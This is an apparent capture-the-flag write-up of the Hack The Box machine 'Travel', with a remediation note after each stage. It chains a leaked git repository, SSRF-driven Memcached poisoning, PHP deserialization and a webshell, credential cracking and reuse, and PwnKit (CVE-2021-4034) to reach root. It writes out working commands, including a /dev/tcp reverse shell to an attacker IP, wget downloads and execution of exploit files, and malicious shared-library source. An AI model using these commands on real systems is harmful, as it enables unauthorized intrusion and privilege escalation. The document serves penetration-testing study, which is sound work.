Travel
Summary
Target travel.htb ($TARGET) was fully compromised through a five-stage chain. An exposed Git repository on a development virtual host leaked PHP source code for a WordPress RSS plugin, revealing a server-side request forgery (SSRF) that communicated with an unauthenticated internal Memcached instance. By poisoning the Memcached cache with a crafted serialized PHP object, I triggered unsafe deserialization on the server and wrote a webshell as the web process (www-data).
A MySQL backup dump stored under the web root contained a phpass-hashed password that was cracked offline in seconds and reused verbatim for SSH access as local user lynik-admin, yielding the user flag. Lynik-admin's home directory held an LDAP client config pointing to an internal directory server, and a Vim history file retained a deleted line with the plaintext LDAP bind password. Although lynik-admin held LDAP write-administrator privileges sufficient to modify any directory user's attributes, an NSS resolution inconsistency blocked that escalation path.
I instead exploited an unpatched SUID pkexec binary (PwnKit, CVE-2021-4034) to execute arbitrary code as root, captured the root flag, and achieved full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 4
Port and service banner scan.
$ nmap -Pn -sV -p22,80,443 $TARGETExtract TLS Subject Alternative Names to enumerate virtual hosts.
$ curl -kv https://$TARGET/ 2>&1 | grep -i 'dns\|subject\|san\|alt'Register all discovered vhosts for local resolution.
$ echo "$TARGET travel.htb www.travel.htb blog.travel.htb blog-dev.travel.htb" | sudo tee -a /etc/hostsConfirm the .git directory is publicly reachable (expect 200).
$ curl -s -o /dev/null -w "%{http_code}\n" http://blog-dev.travel.htb/.git/HEADExact commands 2
Reconstruct the full repository from the exposed .git directory.
$ git-dumper http://blog-dev.travel.htb/.git/ /tmp/travelgitIdentify the SSRF entry point, Memcached key scheme, and the deserialization sink.
$ grep -rn 'custom_feed_url\|memcache\|unserialize\|TemplateHelper' /tmp/travelgit/FixBlock public HTTP access to .git directories on all web-facing serversHigh
Exact commands 3
Exploit script that: (1) computes md5('xct_'+target_url) for the Memcached key; (2) serializes a TemplateHelper object writing ssh3ll.php; (3) encodes a gopher:// URL that issues a Memcached SET over the SSRF; (4) POSTs to /awesome-rss/?custom_feed_url=<gopher_url> to poison the cache; (5) re-requests the feed URL to trigger unserialize and file write.
$ python3 /tmp/pwn.pyVerify RCE: expect uid=33(www-data).
$ curl -s 'http://blog.travel.htb/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=id'Upgrade to an interactive reverse shell; replace $ATTACKER_IP and start a listener with: nc -lvnp 4444
$ curl -s 'http://blog.travel.htb/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=bash+-c+"bash+-i+>%26+/dev/tcp/'"$ATTACKER_IP"'/4444+0>%261"'FixRemove the server-side URL fetch (SSRF), bind Memcached to localhost only, and replace PHP object serialization with JSONCritical
Exact commands 5
Locate the SQL backup from the www-data webshell.
$ curl -s 'http://blog.travel.htb/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=find+/var/www+-name+"*.sql"+2>/dev/null'Extract the phpass hash from the backup file.
$ grep -oP '\$P\$[A-Za-z0-9./]{31}' backup.sql > lynik.hashCrack the hash offline; expect '$PASSWORD2'.
$ john --format=phpass lynik.hash --wordlist=/usr/share/wordlists/rockyou.txtLog in with password '$PASSWORD2'.
$ ssh lynik-admin@$TARGETRead the user flag: <user.txt>.
$ cat ~/user.txtFixRemove credentials from database backups and store backups outside the web rootHigh
Exact commands 3
Read the LDAP client config to retrieve the bind DN and server.
$ cat ~/.ldaprcSearch Vim history for the retained plaintext bind password.
$ grep -i 'bindpw\|password\|road\|ldap' ~/.viminfoValidate the recovered credentials and enumerate all directory objects.
$ ldapsearch -x -H ldap://$INTERNAL_HOST -D 'cn=lynik-admin,dc=travel,dc=htb' -w "$PASSWORD" -b 'dc=travel,dc=htb' '(objectClass=*)' | head -80FixDisable Vim history persistence for server accounts and restrict LDAP bind account privileges to read-onlyHigh
Exact commands 5
Confirm pkexec is SUID root from the lynik-admin shell.
$ ls -la /usr/bin/pkexecCompile the malicious shared library on my machine; transfer the resulting .so and exploit binary to /tmp/pkb/ on the target via the lynik-admin SSH session.
$ cat > /tmp/pkb/payload.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
setgid(0); setuid(0);
execl("/bin/sh","sh","-c",
"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash",
(char*)0);
exit(0);
}
EOF
gcc -shared -fPIC -fno-stack-protector -o /tmp/pkb/pwnkit.so /tmp/pkb/payload.cServe compiled exploit files from my machine.
$ python3 -m http.server 8080From the lynik-admin SSH session: download and execute the exploit. Replace $ATTACKER_IP.
$ cd /tmp/pkb && wget http://$ATTACKER_IP:8080/pwnkit.so && wget http://$ATTACKER_IP:8080/cve-2021-4034 && chmod +x cve-2021-4034 && ./cve-2021-4034Open a privileged shell and read the root flag: <root.txt>.
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
euid=0(root)FixPatch polkit / pkexec against CVE-2021-4034 (PwnKit)Critical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain': a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all (prefer a data format that carries no types, such as JSON parsed into known structures) and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.17.6 |
| 443/tcp | ssl/http nginx 1.17.6 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.